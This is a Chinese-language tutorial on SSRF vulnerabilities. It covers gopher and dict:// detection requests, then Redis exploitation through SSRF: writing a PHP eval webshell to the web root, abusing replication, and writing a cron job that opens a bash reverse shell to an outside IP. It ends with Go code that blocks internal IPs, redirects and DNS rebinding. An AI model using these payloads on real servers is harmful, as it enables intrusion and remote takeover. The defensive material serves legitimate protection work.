一、SSRF漏洞概述

1.1 SSRF漏洞简介

SSRF（Server-Side Request Forgery：服务端请求伪造）是一种由攻击者构造形成，由服务端发起请求的一个安全漏洞。攻击者在未能获取服务器权限时，利用存在缺陷的应用作为代理远程攻击内网的服务器。

1.2 SSRF漏洞检测

1.2.1 web请求

```
curl
gopher://192.168.100.1:80/_GET%20%2F%20HTTP%2F1.1%0D%0AHost%3A%20192.168.100.1%0D%0AAccept-
Encoding%3A%20gzip%2C%20deflate%0D%0AConnection%3A%20close%0D%0A%0D%0A
```

1.2.2 端口探测

```
curl "dict://172.34.178.16:22/"
```

二、SSRF漏洞利用

2.1 Redis漏洞

2.1.1 Redis命令

- Redis秘钥

```
curl "dict://127.0.0.1:6379/auth:''"
```

- Redis键值

```
curl "dict://127.0.0.1:6379/set:flag:123"
curl "dict://127.0.0.1:6379/keys:*"
curl "dict://127.0.0.1:6379/get:flag"
```

2.1.2 Getshell操作

- 直接写webshell

```
dict://127.0.0.1:6379/flushall
dict://127.0.0.1:6379/set:x:'<script:language="php">@eval($_GET["chaos"]);
</script>'
dict://127.0.0.1:6379/config:set:dir:/var/www/html/
dict://127.0.0.1:6379/config:set:dbfilename:test.php
dict://127.0.0.1:6379/save
```

- 主从复制写webshell

```
192.168.8.185:6379> set x '<?php eval($_GET["chaos"]);?>'
dict://127.0.0.1:6379/slaveof:192.168.8.185:6379    # 设置主从模式
dict://127.0.0.1:6379/get:x
dict://127.0.0.1:6379/config:set:dir:/var/www/html/
dict://127.0.0.1:6379/config:set:dbfilename:test.php
dict://127.0.0.1:6379/save
dict://127.0.0.1:6379/slaveof:no:one

dict://127.0.0.1:6379/flushall
dict://127.0.0.1:6379/set:x:'%5Cn%5Cn*%2F1%20*%20*%20*%20*%20bash%20-
i%20%3E%26%20%2Fdev%2Ftcp%2F192.33.6.150%2F9999%200%3E%261%5Cn%5Cn'
dict://127.0.0.1:6379/config:set:dir:/var/spool/cron/
dict://127.0.0.1:6379/config:set:dbfilename:root
dict://127.0.0.1:6379/save
```

三、SSRF漏洞修复

3.1 去除url中的特殊字符

防止url解析差异绕过

3.2 域名内网IP过滤

3.2.1 内网IP判断

```
// IsLocalIP 判断是否是内网ip
func IsLocalIP(ip net.IP) bool {
    if ip == nil {
        return false
    }
    // 判断是否是回环地址, ipv4时是127.0.0.1; ipv6时是::1
    if ip.IsLoopback() {
        return true
    }
    // 判断ipv4是否是内网
    if ip4 := ip.To4(); ip4 != nil {
        return ip4[0] == 10 || // 10.0.0.0/8
            (ip4[0] == 172 && ip4[1] >= 16 && ip4[1] <= 31) || // 172.16.0.0/12
            (ip4[0] == 192 && ip4[1] == 168) // 192.168.0.0/16
    }
    // 判断ipv6是否是内网
    if ip16 := ip.To16(); ip16 != nil {
        // 参考 https://tools.ietf.org/html/rfc4193#section-3
        // 参考
https://en.wikipedia.org/wiki/Private_network#Private_IPv6_addresses
        // 判断ipv6唯一本地地址
        return 0xfd == ip16[0]
    }
    // 不是ip直接返回false
    return false
}
```

3.2.2 dns解析ip

```
site := "http://www.test.com"
ourl, err := url.Parse(site)
if err != nil{
    return false
}
ip, err := net.LookupIP(ourl.Hostname())    // dns解析IP
if err != nil{
    return false
}
```

3.3 不要使用URL跳转

检查是否为内网资源是在请求之前发起的，如果攻击者在请求过程中通过URL跳转访问内网则可以绕过第一种防御策略。

```
client := &http.Client{
    CheckRedirect: func(req *http.Request, via []*http.Request) error {
        // 跳转超过10次，也拒绝继续跳转
        if len(via) >= 10 {
            return fmt.Errorf("redirect too much")
        }
        statusCode := req.Response.StatusCode
        if statusCode == 307 || statusCode == 308 {
            // 拒绝307和308跳转访问(此类跳转可以时POST请求，风险极高)
            return fmt.Errorf("unsupport redirect method")
        }
        // 判断ip
        ips, err := net.LookupIP(req.URL.Host)
        if err != nil {
            return err
        }
        for _, ip := range ips {
            if IsLocalIP(ip) {
                return fmt.Errorf("have local ip")
            }
            fmt.Printf("%s -> %s is localip?: %v\n", req.URL, ip.String(),
IsLocalIP(ip))
        }
        return nil
    },
}
```

3.4 将域名转换成IP访问

发起一次HTTP请求需要先请求DNS服务获取域名对应的IP地址，如果攻击者有可控的DNS服务，就可以通过DNS重绑定绕过前面的防御策略。

```
dialer := &net.Dialer{}
dialer.Control = func(network, address string, c syscall.RawConn) error {
    // address 已经是ip:port的格式
    host, _, err := net.SplitHostPort(address)
    if err != nil {
        return err
```

```
    }
    fmt.Printf("%v is localip?: %v\n", address, IsLocalIP(net.ParseIP(host)))
    return nil
}
transport := http.DefaultTransport.(*http.Transport).Clone()
// 使用官方库的实现创建TCP连接
transport.DialContext = dialer.DialContext
// 使用此client请求，可避免DNS重绑定风险
client := &http.Client{
    Transport: transport,
}
```